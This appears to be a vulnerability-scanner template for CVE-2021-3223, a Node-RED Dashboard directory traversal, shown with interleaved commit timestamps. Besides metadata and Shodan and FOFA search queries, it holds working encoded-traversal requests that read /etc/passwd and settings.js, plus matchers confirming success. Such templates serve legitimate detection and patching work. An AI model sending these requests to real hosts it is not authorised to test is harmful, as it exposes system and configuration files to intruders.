2021-06-24 12:07:17 +00:00
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id: CVE-2021-3223
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info:
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name: Node RED Dashboard - Directory Traversal
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2021-07-31 09:12:48 +00:00
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author: gy741,pikpikcu
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2021-06-24 12:07:17 +00:00
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severity: high
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description: Node-RED-Dashboard before 2.26.2 allows ui_base/js/..%2f directory traversal to read files.
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2021-08-18 11:37:49 +00:00
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reference:
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2021-06-24 12:07:17 +00:00
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- https://github.com/node-red/node-red-dashboard/issues/669
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3223
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2022-05-17 09:18:12 +00:00
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- https://github.com/node-red/node-red-dashboard/releases/tag/2.26.2
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2021-09-10 11:26:40 +00:00
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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2022-04-22 10:38:41 +00:00
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cvss-score: 7.5
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2021-09-10 11:26:40 +00:00
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cve-id: CVE-2021-3223
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cwe-id: CWE-22
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2022-05-11 13:02:11 +00:00
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metadata:
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2022-05-11 13:09:39 +00:00
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verified: true
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shodan-query: title:"Node-RED"
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2022-05-11 13:02:11 +00:00
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fofa-query: title="Node-RED"
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2022-06-27 09:43:42 +00:00
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tags: cve,cve2021,node-red-dashboard,lfi
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2021-06-24 12:07:17 +00:00
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd'
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2021-07-31 09:12:48 +00:00
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- '{{BaseURL}}/ui_base/js/..%2f..%2f..%2f..%2fsettings.js'
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2021-06-24 12:07:17 +00:00
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2021-08-01 19:41:43 +00:00
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matchers-condition: or
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2021-06-24 12:07:17 +00:00
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matchers:
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- type: regex
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2021-08-01 19:41:43 +00:00
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part: body
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2021-06-24 12:07:17 +00:00
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regex:
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2021-07-24 21:35:55 +00:00
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- "root:.*:0:0:"
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2021-07-31 09:12:48 +00:00
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- type: word
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2021-08-01 19:41:43 +00:00
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part: body
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2021-07-31 09:12:48 +00:00
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words:
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- "Node-RED web server is listening"
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